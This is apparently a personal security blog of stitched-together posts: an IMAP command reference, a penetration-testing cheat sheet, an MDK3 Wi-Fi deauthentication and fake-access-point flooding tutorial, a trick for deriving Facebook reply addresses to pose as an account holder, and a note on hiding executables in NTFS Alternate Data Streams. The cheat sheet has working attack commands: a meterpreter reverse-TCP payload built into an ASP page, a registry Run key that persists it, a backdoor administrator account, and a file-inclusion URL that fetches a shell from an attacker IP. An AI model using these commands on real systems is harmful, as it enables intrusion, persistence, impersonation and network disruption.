Monday, September 19, 2011

Password Secrets of Popular Windows Applications


Interesting site with information on Password Secrets of Popular Windows Applications

http://securityxploded.com/passwordsecrets.php

Wednesday, September 14, 2011

imap ref

IMAP command syntax.
Before the actual command is typed into the terminal we need to type a command tag, this could be anything (without spaces) and the server will tag its response
with the tag we give it. This seems to be because IMAP allows multiple connections and so multiple commands, by tagging you know which response refers to which command.
In our case we have only 1 connection and we send single commands so it's not really relevant, however we need to type something as a tag. I usually just use a period
 '.' but you could use a number or whatever suits you. To demonstrate the command tag see the two server responses here with the tag (don't worry about the command itself, it
 will be explained soon), in the first one we send '. fetch' and the second one 'a01a fetch' getting the same tag back to identify the response:
 . fetch 1 fast
* 1 FETCH (FLAGS (\Seen hasatt) INTERNALDATE " 1-Feb-2006 08:37:23 -0500" RFC822.SIZE 15013)
. OK Completed (0.000 sec)

ao1a fetch 1 fast
* 1 FETCH (FLAGS (\Seen hasatt) INTERNALDATE " 1-Feb-2006 08:37:23 -0500" RFC822.SIZE 15013)
a01a OK Completed (0.000 sec)
Finally, the IMAP commands are not case sensitive, so 'SELECT inbox' will work just as well as 'select INBOX'. For clarity in the code I have typed the commands in
uppercase and the word INBOX in uppercase also.

Mail server address.
The address of your mail server, this will usually be of the form mail.domain.com. You should look at the settings in your email client or documentation about your
email account to get this information.
Security.
In this demonstration we will be sending our account username and password unencrypted over the internet, if this is a major concern to you then you should not follow 
this exercise.
Another alternative, if your email provider supports SSL, is to use OpenSSL (which most if not all Linux computers will have), see the 'Connecting to the host' section
below for the syntax.
Using telnet.
If you make a mistake in a telnet session you cannot use backspace to delete the entry, you may have to press enter to get an error and then re-type the command or quit and start again.

Connecting to the host.
Insecure login - login using telnet.

By insecure I just mean that your username and password are sent unencrypted over the internet so potentially could be intercepted on the route between your computer and the mail server.
First open up a terminal and type the following, of course replacing mail.myserver.com with the address of your IMAP server, note that the IMAP port used is 143:

telnet mail.myserver.com 143
This should return something like:
telnet mail.myserver.com 143
Trying 66.111.4.160...
Connected to mail.myserver.com (66.111.4.160).
Escape character is '^]'.
* OK IMAP4 ready

Secure login - login using OpenSSL.
To open an SSL session that encrypts all data sent between your computer and the mail server open a teminal and follow these steps, note that we use port 993 here:
openssl s_client -connect mail.myserver.com:993
CONNECTED(00000003)
depth=0 /C=AU/ST=New South Wales/L=Crows Nest/O=Optimal Decisions Group Pty Ltd/CN=mail.messagingengine.com
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 /C=AU/ST=New South Wales/L=Crows Nest/O=Optimal Decisions Group Pty Ltd/CN=mail.messagingengine.com
verify error:num=27:certificate not trusted
verify return:1
depth=0 /C=AU/ST=New South Wales/L=Crows Nest/O=Optimal Decisions Group Pty Ltd/CN=mail.messagingengine.com
verify error:num=21:unable to verify the first certificate
verify return:1
---
Certificate chain
 0 s:/C=AU/ST=New South Wales/L=Crows Nest/O=Optimal Decisions Group Pty Ltd/CN=mail.messagingengine .com
   i:/C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/CN= Thawte Premium Server CA/emailAddress=premium-server@thawte.com
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIDeDCCAuGgAwIBAgIDQBYSMA0GCSqGSIb3DQEBBAUAMIHOMQswCQYDVQQGEwJa
..........................
-----END CERTIFICATE-----
subject=/C=AU/ST=New South Wales/L=Crows Nest/O=Optimal Decisions Group Pty Ltd/CN=mail.messagingeng ine.com
issuer=/C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/C N=Thawte Premium Server CA/emailAddress=premium-server@thawte.com
---
No client certificate CA names sent
---
SSL handshake has read 1054 bytes and written 340 bytes
---
New, TLSv1/SSLv3, Cipher is AES256-SHA
Server public key is 1024 bit
SSL-Session:
    Protocol  : TLSv1
    Cipher    : AES256-SHA
    Session-ID: Session ID
    Session-ID-ctx:
    Master-Key: Key
    Key-Arg   : None
    Krb5 Principal: None
    Start Time: 1140271254
    Timeout   : 300 (sec)
    Verify return code: 21 (unable to verify the first certificate)
---
* OK IMAP4 ready
Once this step is carried out the IMAP commands are identical to those for a normal telnet session.
Logging in.
Next we need to log in using the login command. Type '. login' followed by your username and password separated by spaces.
. login accountname@myserver.com *********
. OK User logged in


LIST command.
To see a list of all the mailboxes on the server we use the list command. The arguments "" "*" simply get all the mailboxes including sub folders.
. list "" "*"
* LIST (\HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Drafts"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.test1"
* LIST (\HasNoChildren) "." "INBOX.test2"
. OK Completed (0.460 secs 7 calls)

We can see from this output how the mailboxes are arranged like a tree with INBOX being the 'trunk'. My IMAP provider uses a period (.) as a separator between parent and
child folders so INBOX.Drafts is a child of the INBOX. The \HasChildren simply tells us that this folder has sub folders whereas the other folders do not.
The way IMAP works means that all folders are created as subfolders of the INBOX even if your email client is configured not to show it that way.

STATUS command.
This command return some basic information on the folder without selecting the folder, it takes arguments depending on what information you would like returned.
Here are 3 example showing total messages, recent messages and unseen messages.
. status INBOX (messages)
* STATUS INBOX (MESSAGES 2)
. OK Completed

. status INBOX (recent)
* STATUS INBOX (RECENT 0)
. OK Completed

. status INBOX (unseen)
* STATUS INBOX (UNSEEN 0)
. OK Completed


EXAMINE and SELECT commands.
These two commands basically do the same thing, they return information on the folder chosen and then allow us to access the mails stored inside the folder. The
main difference is that EXAMINE returns a read-only reference whereas SELECT is read-write.
. examine INBOX.test2
* FLAGS (\Answered \Flagged \Draft \Deleted \Seen)
* OK [PERMANENTFLAGS ()]
* 0 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1138801117]
* OK [UIDNEXT 1]
. OK [READ-ONLY] Completed

. select INBOX.test2
* FLAGS (\Answered \Flagged \Draft \Deleted \Seen)
* OK [PERMANENTFLAGS (\Answered \Flagged \Draft \Deleted \Seen \*)]
* 0 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1138801117]
* OK [UIDNEXT 1]
. OK [READ-WRITE] Completed

Note that the only difference in response is the [READ-ONLY] and [READ-WRITE] text. Basically this command just tells us the possible IMAP flags we can set,
EXIST is how many mails are in the folder, RECENT is how many recent mails there are (the SELECT command will remove the RECENT flag since the folder has now been
viewed, this is not the same as the \Seen IMAP flag, also note that the EXAMINE command will not reset the RECENT flag).
The RECENT data is what tells an IMAP email client if you have new mails, by clicking on the folder the client sends the SELECT command and the new mail icon
disappears even though the mails are still unread.

CREATE, DELETE and RENAME folders.
It's very easy to create and delete folders, just make sure you create them as subfolders of the INBOX. For example to create a top level folder called test3 do
do the following.
. create INBOX.test3
. OK Completed
. list "" "*"
* LIST (\HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Drafts"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.test1"
* LIST (\HasNoChildren) "." "INBOX.test2"
* LIST (\HasNoChildren) "." "INBOX.test3" #we created this
. OK Completed (0.420 secs 8 calls)

Conversely we can delete our new folder using the DELETE command. Note that you cannot delete a folder that had subfolders without first deleting the subfolders, also
deleting a folder containing mails will delete all the mails inside so beware!
. delete INBOX.test3
. OK Completed
. list "" "*"
* LIST (\HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Drafts"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.test1"
* LIST (\HasNoChildren) "." "INBOX.test2"
. OK Completed (0.430 secs 7 calls)

Renaming a folder is just as easy, just type RENAME [current name] [new name]. This will not delete mails as they will just exist in the new folder. Here we rename
folder test1 to linux.
. rename INBOX.test1 INBOX.test3
* OK rename user.accountname.test1 user.accountname.test3
. OK Completed
. list "" "*"
* LIST (\HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Drafts"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.linux" #this was test1
* LIST (\HasNoChildren) "." "INBOX.test2"
. OK Completed (0.410 secs 7 calls)


FETCH command.
This command is the main command we use to actually access our emails. It has many possible options depending in what you wish to see, message flags, email headers,
text of the body etc. Here we select the INBOX and fetch the emails in a few different ways.
. select INBOX
* FLAGS (\Answered \Flagged \Draft \DeleteCLOSE and EXPUNGE commands.d \Seen hasatt)
* OK [PERMANENTFLAGS (\Answered \Flagged \Draft \Deleted \Seen hasatt \*)]
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1138801043]
* OK [UIDNEXT 3]
. OK [READ-WRITE] Completed
. fetch 1 flags
* 1 FETCH (FLAGS (\Seen hasatt))
. OK Completed (0.000 sec)

First we shall fetch the message IMAP flags for all the messages in the folder.
. fetch 1:2 flags
* 1 FETCH (FLAGS (\Seen hasatt))
* 2 FETCH (FLAGS (\Seen hasatt))
. OK Completed

Note that with all the commands that act upon messages we can select either 1 message by using the message number as in 'fetch 1 command' or we can select a range
of messages in the format 'fetch first:last command' or all the messages 'fetch 1:last command'. Also note that we can use '*' to indicate all messages so fetch 1:* will get
all the messages from the first to the last without us knowing how many messages are in the folder.
First we shall fetch using fast, all and full options (these refer to the headers).
. fetch 1 fast
* 1 FETCH (FLAGS (\Seen hasatt) INTERNALDATE " 1-Feb-2006 08:37:23 -0500" RFC822.SIZE 15013)
. OK Completed (0.000 sec)

. fetch 1 all
* 1 FETCH (FLAGS (\Seen hasatt) INTERNALDATE " 1-Feb-2006 08:37:23 -0500" RFC822.SIZE 15013 ENVELOPE ("Wed, 1 Feb 2006 13:37:19 UT" "IMPORTANT: Click here to begin using your account" (("Email Administrator" NIL "bounce" "myserver.com")) (("Email Administrator" NIL "bounce" "myserver.com")) ((NIL NIL "webmaster" "myserver.com")) (("Joe Bloggs" NIL "accountname" "myserver.com")) NIL NIL NIL "<cmu-lmtpd-28871-1138801043-0@server2.messagingengine.com>"))
. OK Completed (0.000 sec)

. fetch 1 full
* 1 FETCH (FLAGS (\Seen hasatt) INTERNALDATE " 1-Feb-2006 08:37:23 -0500" RFC822.SIZE 15013 ENVELOPE ("Wed, 1 Feb 2006 13:37:19 UT" "IMPORTANT: Click here to begin using your account" (("Email Administrator" NIL "bounce" "myserver.com")) (("Email Administrator" NIL "bounce" "myserver.com")) ((NIL NIL "webmaster" "myserver.com")) (("Joe Bloggs" NIL "accountname" "myserver.com")) NIL NIL NIL "<cmu-lmtpd-28871-1138801043-0@server2.messagingengine.com>") BODY ((("TEXT" "PLAIN" NIL NIL NIL "8BIT" 5599 137)("TEXT" "HTML" NIL NIL NIL "8BIT" 7434 141) "ALTERNATIVE")("TEXT" "PLAIN" ("NAME" "This_is_how_attachments_appear.txt") NIL NIL "8BIT" 247 6) "MIXED"))
. OK Completed (0.000 sec)

As you can see this returns differing amounts of data about the IMAP flags, size and ENVELOPE information. It's maybe more informative to use either 'fetch message body[header]'
or 'fetch message rfc822.header' both of which return the data below.
. fetch 1 rfc822.header
* 1 FETCH (RFC822.HEADER {824}
Return-Path: <nobody@server2.messagingengine.com>
Received: from web2.internal (web2.internal [10.202.2.211])
         by server2.messagingengine.com (Cyrus v2.3-alpha) with LMTPA;
         Wed, 01 Feb 2006 08:37:23 -0500
X-Sieve: CMU Sieve 2.3
X-Attached: This_is_how_attachments_appear.txt
X-Resolved-to: accountname
X-Mail-from: nobody
Content-Transfer-Encoding: 8bit
Content-Type: multipart/mixed; boundary="_----------=_1138801039165120"
MIME-Version: 1.0
X-Mailer: MIME::Lite 5022  (F2.73; T1.15; A1.64; B3.05; Q3.03)
Date: Wed, 1 Feb 2006 13:37:19 UT
From: "Email Administrator" <bounce@myserver.com>
Reply-To: webmaster@myserver.com
To: "Joe Bloggs" <accountname@myserver.com>
Subject: IMPORTANT: Click here to begin using your account
Message-ID: <cmu-lmtpd-28871-1138801043-0@server2.messagingengine.com>

)
. OK Completed (0.000 sec)

To fetch only some headers we can select the header fields we wish to see.
. fetch 1 (body[header.fields (from to subject date)])
* 1 FETCH (BODY[HEADER.FIELDS (from to subject date)] {195}
Date: Wed, 1 Feb 2006 13:37:19 UT
From: "Email Administrator" <bounce@myserver.com>
To: "Joe Bloggs" <accountname@myserver.co>
Subject: IMPORTANT: Click here to begin using your account

)
. OK Completed (0.000 sec)

To read the body of the email message we can use either 'fetch message body[text]' or 'fetch message rfc822.text' as shown here.
. fetch 2 rfc822.text
* 2 FETCH (RFC822.TEXT {11658}
This is a multi-part message in MIME format.

--_----------=_1138865560223950
Content-Disposition: inline
Content-Length: 5194
Content-Transfer-Encoding: binary
Content-Type: text/plain

more text here.............

. OK Completed (0.000 sec)

STORE command.
This command allows us to add, remove or replace the IMAP flags on the messages. These are flags that denote a message as replied to, deleted, seen etc. and allow
the message information, as well as the message itself, to be synchronized across different computers. Note that the STORE command causes an automatic FETCH
command of the message flags so we can see the change immediately. There are 3 ways to use STORE:

STORE message +flags [flag list]  - this adds the [flag list] flags to the chosen messages.
STORE message -flags [flag list]  - this removes the [flag list] flags from the chosen messages.
STORE message flags [flag list]  - resets the flags to [flag list] on the chosen messages (the same as removing all flags and then adding [flag list].

The list of flags to add include \Answered \Flagged \Draft \Deleted \Seen and many more. All the IMAP flags used as part of the standard installation have the
backslash in front of them. However some email clients (Thunderbird is one) also allow you to set labels or mark a message as junk, if you add labels do not use
the backslash. First we shall mark all the messages as deleted.
. store 1:2 flags \Deleted
* 1 FETCH (FLAGS (\Recent \Deleted))
* 2 FETCH (FLAGS (\Recent \Deleted))
. OK Completed

Next replace the flags with $label1
. store 1:* flags $label1
* FLAGS (\Answered \Flagged \Draft \Deleted \Seen hasatt Junk label1)
* OK [PERMANENTFLAGS (\Answered \Flagged \Draft \Deleted \Seen hasatt Junk $label1 \*)]
* 1 FETCH (FLAGS ($label1))
* 2 FETCH (FLAGS ($label1))
. OK Completed

Finally we can add the flag NonJunk so that Thunderbird recognises them as not being junk mail.
. store 1:* +flags NonJunk
* FLAGS (\Answered \Flagged \Draft \Deleted \Seen hasatt NonJunk Junk label1)
* OK [PERMANENTFLAGS (\Answered \Flagged \Draft \Deleted \Seen hasatt NonJunk Junk $label1 \*)]
* 1 FETCH (FLAGS ($label1 NonJunk))
* 2 FETCH (FLAGS ($label1 NonJunk))
. OK Completed

Note that the \Deleted flag is used by an IMAP server to mark an email ready for deletion, it is not actually deleted until the server receives either the CLOSE
or EXPUNGE command shown below.
CLOSE and EXPUNGE commands.
Both these commands have the effect of permanently deleting any messages in the current folder marked for deletion with the \Deleted flag. EXPUNGE just deletes the
messages but does nothing else (this command is the equivalent of compacting folders in Thunderbird), while CLOSE deletes the messages and deselects the current
folder (you cannot carry out more action on messages until you select a new folder). Assuming the two messages in our INBOX had the \Deleted flag set then the output
looks like the following.
. expunge
* 1 EXPUNGE
* 1 EXPUNGE
* 0 EXISTS
* 0 RECENT
. OK Completed

COPY command.
IMAP has no built in move command, when you move a message you actually copy it to another folder and then delete the original. We can easily copy any number of
messages using the COPY message [destination] format. Here I copy both messages from the INBOX (that I already have selected) to INBOX.test2 folder, after that I
select INBOX.test2 to confirm the messages are there. Note that after copying the RECENT flag is reset.
. copy 1:2 inbox.test2
. OK [COPYUID 1138801117 1:2 1:2] Completed

. select inbox.test2
* FLAGS (\Answered \Flagged \Draft \Deleted \Seen hasatt)
* OK [PERMANENTFLAGS (\Answered \Flagged \Draft \Deleted \Seen hasatt \*)]
* 2 EXISTS
* 2 RECENT
* OK [UIDVALIDITY 1138801117]
* OK [UIDNEXT 3]
. OK [READ-WRITE] Completed

IDLE command.
IDLE allows us to constantly monitor a folder so that we will be instantly be notified if a new message arrives in the current folder. This is of little use
while in a telnet session but I'll show it here just so you know how it works. First start IDLE on the folder.
. idle
+ idling

The server responds with +idling and will stay this way until either a message is received, we stop idling or carry out another command to break the idle. If non
of these things happen then the connection will eventually time out after a pre-set period depending on your IMAP provider (30 minutes in my case). To stop the IDLE
command use DONE (note this is the only command WITHOUT the preceding command tag).
done
. OK Completed

LSUB, SUBSCRIBE and UNSUBSCRIBE commands.
These are more commands that only really apply to email clients since they involve subscribing to folders, however they are shown here for completeness. First LSUB
works like LIST with the same arguments but returns a list of the currently subscribed folders.
. lsub "" "*"
* LSUB (\HasChildren) "." "INBOX"
* LSUB () "." "INBOX.Drafts"
* LSUB () "." "INBOX.Sent Items"
* LSUB () "." "INBOX.Trash"
* LSUB () "." "INBOX.test2"
. OK Completed (0.000 secs 6 calls)

This shows that all folders except INBOX.test3 are currently subscribed, to subscribe a new folder use SUBSCRIBE [foldername].
. subscribe INBOX.test3
. OK Completed

To unsubscribe from this folder  use UNSUBSCRIBE [foldername].
. unsubscribe INBOX.test3
. OK Completed

LOGOUT command.
Of course we need to log out of the server, we do this with the LOGOUT command.
. logout
* BYE LOGOUT received
. OK Completed


That's the main commands covered however there are a few more just 3 of which I'll mention here as they could be useful.
CAPABILITY, GETQUOTAROOT AND GETACL commands.
These 3 commands return general information on the server environment and your account information. CAPABILITY returns a long list of the mail servers option most of
which are not very exciting, the most important one listed is probably IDLE letting you know that your provider supports the IDLE command. The CHILDREN entry we saw
returned when we did a LIST command (\HasChildren or \HasNoChildren depending on whether a folder has subfolders).
. capability
* CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND BINARY SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES ANNOTATEMORE CATENATE IDLE LOGINDISABLED
. OK Completed

GETQUOTAROOT return the amount of space you are using and the amount you have available.
. getquotaroot inbox
* QUOTAROOT inbox user.accountname
* QUOTA user.accountname (STORAGE 31306 2048000)

As you can see I'm using 31Mb but have 2Gb capacity, so plenty to spare! Finally GETACL returns the access control list, basically a list of permission you have on
your mail folders.
. getacl inbox
* ACL inbox accountname lrswipcd admin lrswipcda anyone p
. OK Completed

These letters each refer to a different permission, the letters after the user are that users rights, the full list is explained here:

l - lookup_flag: mailbox is visible to LIST/LSUB commands
r - read_flag: SELECT the mailbox, perform CHECK, FETCH, PARTIAL SEARCH, COPY from mailbox
s - seen_flag: keep seen/unseen information across session
w - write_flag: STORE flags other than SEEN and DELETED
i - insert_flag: perform APPEND, COPY into mailbox
p - post_flag: send mail to submission address for mailbox
c - create_flag: CREATE new sub-mailboxes in any implementation defined hierarchy
d - delete_flag: STORE DELETED flag perform EXPUNGE
a - administer_flag: perform SETACL

Tuesday, September 6, 2011

Just found this site 


http://www.rgagnon.com/javadetails/java-0014.html
lots of info on Runtime.exec() method.

it also has a lot of example on how to run 

launch CMD.EXE, grab stdin/stdout and push to stdin command to be interpreted by the shell. 

Launch a Windows CMD (or BAT) file and retrieve the errorlevel or exitcode

 

Launch a Unix script

 

etc 

 

Monday, September 5, 2011

commands i use alot


creat list of ip's

for ip in $(seq 200 255);do echo 192.168.15.$ip;done >ip.txt





===============================
nmap scan
===============================
cmd

nmap -T4 -F 192.168.15.200-255



===============================
dns enumeration
===============================

for ip in $(seq 200 255); do

host -t ns 192.168.15.$ip |grep "domain name pointer" |cut -d " " -f5 >> names.txt

done




===============================
send mail
===============================

sendEmail -t bob@thinc.local -f bob@thinc.local -s 192.168.15.227 -u report -a /root/Documents/report.pdf


./dnsenum.pl thinc.local >>/root/Desktop/pw3tools/updatedtest/dnsenum.txt


===============================
snmp enumeration
===============================

or ip in $(seq 200 255); do

echo 192.168.15.$ip>> snmpnames.txt;snmpwalk -c public -v1 192.168.15.$ip 1.3 |grep 77.1.2.25 |cut -d " " -f4 >> snmpnames.txt

done



for ip in $(seq 200 255); do

echo 192.168.15.$ip>> snmpservices.txt;snmpwalk -c public -v1 192.168.15.$ip 1 |grep hrSWRunName |cut -d " " -f4 >> snmpservices.txt

done



/pentest/enumeration/snmp/onesixtyone/onesixtyone -c dic.txt -i ip.txt -o snmp.txt




===============================
smtp enumeration
===============================



#!/usr/bin/python
#useage python vrfy.py 127.0.0.1 < usernames.txt
import socket
import sys

users= []
for line in sys.stdin:
line= line.strip()
if line!='':
users.append(line)

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 25))
fp= s.makefile('rwb')

fp.readline() # ignore banner
fp.write('HELO test.example.com\r\n')
fp.flush()
fp.readline() # ignore response

for user in users:
fp.write('VRFY %s\r\n' % user)
fp.flush()
print '%s: %s' % (user, fp.readline().strip())

fp.write('QUIT\r\n')
fp.flush()
s.close()





===============================
smb enumeration
===============================
/pentest/python/impacket-examples# ./samrdump.py 192.168.15.236

smb4k

nmap 192.168.15.236 --script smb-enum-users.nse


===============================
full scan
===============================


nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script all 192.168.15.200-255







===============================
create user from cmd line
===============================


net user paul 23u75t0zjdj /add
net localgroup administrators paul /add


===============================
Enable remote desktop from command line
===============================


reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f


reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v msg /t REG_SZ /d C:\inetpub\meterpreter.exe /f



===============================
create asp page with payload for remot run use IO::Socket;
===============================

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.14.126 LPORT=4444 R | msfencode -c 5 -e x86/shikata_ga_nai -a X86 -t asp > evilpage.asp



===============================
list allusers on linux
===============================
cat /etc/passwd | cut -d":" -f1


===============================
#!/bin/bash for num in $(seq 0 254);do nc -v 192.168.13.$num 53 done
===============================


use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp





Source: http://www.rooftopsolutions.nl/blog/189use IO::Socket;
I killed the sshd daemon from one of our servers by accident today. I wanted to avoid going to the data center, so I was able to upload and run a
PHP script to give me a shell..
Problem was, that it would run under the www-data user and trying to su to root gave me the following message:
su : must be run from a terminal
After some googling, I found the solution from Tero's glob. If you have python installed, just run the following from your shell:
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
You now have a proper terminal, and things like 'su' will work as usual.


===============================
run shell on remot web server
===============================

http://carnal0wnage.attackresearch.com/2010/05/using-metasploit-php-remote-file.html

/slogin_lib.inc.php?slogin_path=http://192.168.14.126/shll%00
/slogin_lib.inc.php?slogin_path=http://192.168.14.126/shll/ms.txt?%00







Shell recorder with replay        Terminal - Shell recorder with replay    script -t /tmp/mylog.out 2>/tmp/mylog.time; <do your work>; <CTRL-D>; scriptreplay /tmp/mylog.time /tmp/mylog.out     2011-01-19 07:16:30   User: olorin   Functions: script    19  Up
Down    Shell recorder with replay  
If you provide the option -t to the script command and redirect stderr into a file, the timing information on what is going on on the terminal, is also stored.

You can replay the session via the scriptreplay command, where you can also provide a speedup factor (see the man page for details).

Great for demonstration purposes ...
  Add to favourites | Report as malicious   

Sunday, September 4, 2011

This tutorial is for educational purposes only I am not responsible for what you do with this information.
After all we don't learn to hack, we hack to learn.


Now what we are going to be doing is deauthentication all connected computer from an access point. Now I know what your thinking whats the big deal. Well what happens to people once they get disconnected they refresh the network list right. Right so when they are going to refresh the list we are going to flood the air with fake access points and when I mean flood we really flood the air some if not all computer wireless drivers will crash. I don't know about you but that sounds like allot of fun don't take this the wrong way I'm a good guy but sometimes good guys get bored and want to see people's reaction when something does go wrong and they start restarting their computers. So if this sounds kinda fun to do to your dad, mom, sister, friend or whoever is ON YOUR OWN NETWORK then what the hell give it a try.


Let's get started
About MDK3

Using MDK3 is quite simple, since it comes with lots of help screens directly included in the code.
You can easily access them by typing only mdk3
MDK3 displays the main help screen. To see all possible options, type mdk3 --fullhelp
To see only information for a specific test, type mdk3 --help followed by the test mode identifier (b, a, p, d, m or x)

Before you can use MDK3, you need to setup your wireless adaptor. As far as there are different driver architectures, the way to setup your adaptor may vary depending on which driver is in use. To make this procedure easy, it is recommended to use airmon-ng from the aircrack project, since this can setup almost every known driver correctly.
To enable injection, your card needs to be started, switched to the monitor and a bitrate and channel have to be set.


Now lets put our wireless interface in monitor mode and a quick ifconfig to find out our mac address.


airmon-ng start wlan0
ifconfig



Lets go to the mdk3 directory


cd /pentest/wireless/mdk3

Now we want to deauthenticated everyone in our WLAN range in order to do that we need to make a list of mac numbers that we DO NOT WANT TO GET AFFECTED witch is call a whitelist. So in my whitelist I'm going to be just adding my mac address because I don't care about all the others. So copy you mac address and type this in the MDK3 directory.


echo YOUR_MAC > whitelist
echo 00:24:2b:7c:3e:9d > whitelist




Now let's look at our d option the Deauthentication / Disassociation Amok Mode:

d - Deauthentication / Disassociation Amok Mode
Kicks everybody found from AP
OPTIONS:
-w
Read file containing MACs not to care about (Whitelist mode)
-b
Read file containing MACs to run test on (Blacklist Mode)
-s
Set speed in packets per second (Default: unlimited)
-c [chan,chan,chan,...]
Enable channel hopping. Without providing any channels, mdk3 will hop an all
14 b/g channels. Channel will be changed every 5 seconds.

So what we are going to use is the w option whitelist mode. leave the s option alone it's set to unlimited. Now the c option channel is up to you but I'm going with all AP's on channel 6 because most AP's are on that channel by default.


./mdk3 mon0 d -w whitelist -c 6



So now we have successfully launched the attack soon everyone will be disconnected. Now lets start flooding the air with fake access points. Open a new shell and browse to MDK3 directory and run this.
./mdk3 mon0 b -g -c 6



b - Beacon Flood Mode
Sends beacon frames to show fake APs at clients.
This can sometimes crash network scanners and even drivers!
OPTIONS:
-n
Use SSID instead of randomly generated ones
-f
Read SSIDs from file
-v
Read MACs and SSIDs from file. See example file!
-d
Show station as Ad-Hoc
-w
Set WEP bit (Generates encrypted networks)
-g
Show station as 54 Mbit
-t
Show station using WPA TKIP encryption
-a
Show station using WPA AES encryption
-m
Use valid accesspoint MAC from OUI database
-h
Hop to channel where AP is spoofed
This makes the test more effective against some devices/drivers
But it reduces packet rate due to channel hopping.
-c
Fake an AP on channel . If you want your card to hop on
this channel, you have to set -h option, too!
-s
Set speed in packets per second (Default: 50)
a - Authentication DoS mode

Now let me explain the b options is beacon flood mode. The -g option is Show station as 54 Mbit. -c option is channel now you can put an h if you want it to hope but if you specify a channel it will produce fake APs faster.




Now when the user refreshes his network list he should a never ending scan in linux or windows.




And thats it for this tutorial.

Friday, 5 March 2010

Here we go again...
I have been playing, at this point, for a while with Facebook's security as you can see here and here. Not too seriously though, also because, as who knows me well knows, that I am far away to be a security expert. I tend to observe though, and do a bunch of questions to myself . Sometimes I am able to find an answer as in the case of this post.
I have tried to go further. Can anyone guess the email address in order to pretend to be the real account holder? The answer surprisely is YES!!! :-S
As long you have any kind of access to the wall though (this happens either if you are friends of the account holder or the account holder has the wall public). Here how to reckon it :

All you need is:

  • know how to convert a number from base 10 to base 36 (if you don't know how use this)
  • the profile_id of the account holder (available on the URL of the account holder facebook page)
  • story_id and story_type (again easily accessible from the URL on the wall)
  • the current date (yes you undestood well the current day :D, e.g. today 27/02/2010)
That all you need!! Now follow this steps:

let try to do a reverse engineer approach. This is our final goal:

c+2xxxxxx000000afwdwo0m00003c6efyz2000000afwdwo
0000000000001eu1i@reply.facebook.com

N.B. note the 6 "avoid spam" xxxxx :D

Any way lets split the email address as follow:
  1. c+2
  2. xxxxxx
  3. 000000afwdwo
  4. 0m
  5. 00003c6efyz2
  6. 000000afwdwo
  7. 000000000000
  8. 1eu
  9. 1i
  10. @reply.facebook.com
So here the magic reckon trick:

  • chunck 3 and chunck 6 come directly from my profile_id: (631367016) base10 = afwdwo base36 (adding 000000 6 zeros to arrive to 11 digits)
  • chunck 4 comes from story_type : story_type= 22 base10= 0m base36
  • chunck 5 is the story_id (again in base 36): 261600937166 in base 10= 3c6efyz2 in base36 (adding 0000 4 zeros to arrive to 12 digits)
  • chunk 8 is a counter incrementing every day (still in base 36):

  •   e.g. Jan 20 (day of the post on the wall)==> 1830 base 10 = 1eu




  •   Jan 21 will be iev etc

    • chunck 1,9,10 are always the same
    • chunk 7 will be the topic for my next post but for this purpose consider as a constant as above (always 000000000000, is 12 digits it is any hint ? :D)
    And chunk 2? Well I leave to you the fun to find out :D

    Well that's it. I hope I you find this interesting and I leave you with a question :

    Is base 36 enough cryptic :D? And is Facebook using this great alghoritm anywhere else?

    Cheers and stay tuned



    Friday, 19 February 2010

    Alternate Data Streams are extremely easy to make and require little or no skill on the part o the hacker. Common DOS commands like “type” are used to create an ADS. These commands are used in conjunction with a redirect [>] and colon [:] to fork one file into another.

    For instance: the command

    “type c:\anyfile.exe > c:\winnt\system32\calc.exe:anyfile.exe”

    will fork the common windows calculator program with an ADS “anyfile.exe.”

    Alarmingly files with an ADS are almost impossible to detect using native file browsing techniques like command line or windows explorer. In our example, the file size of calc.exe will show as the original size of 90k regardless of the size of the ADS anyfile.exe. The only indication that the file was changed is the modification time stamp, which can be relatively innocuous.

    Once injected, the ADS can be executed by using traditional commands like type, or start or be scripted inside typical scripting languages like VB or Perl. When launched, the ADS executable will appear to run as the original file - looking undetectable to process viewers like Windows Task Manager. Using this method, it is not only possible to hide a file, but to also hide the execution of an illegitimate process.

    Unfortunately, it is virtually impossible to natively protect your system against ADS hidden files if you use NTFS. The use of Alternate Data Streams is not a feature that can be disabled and currently there is no way to limit this capability against files that the user already has access to. Freeware programs like lads.exe by Frank Heyne (www.heysoft.de) and crucialADS by CrucialSecurity can be used to manually audit your files for the presence of Alternate Data Streams. Alternatively, the action of moving a file into another file system that doesn’t support ADS will automatically destroy any Alternate Data Streams.

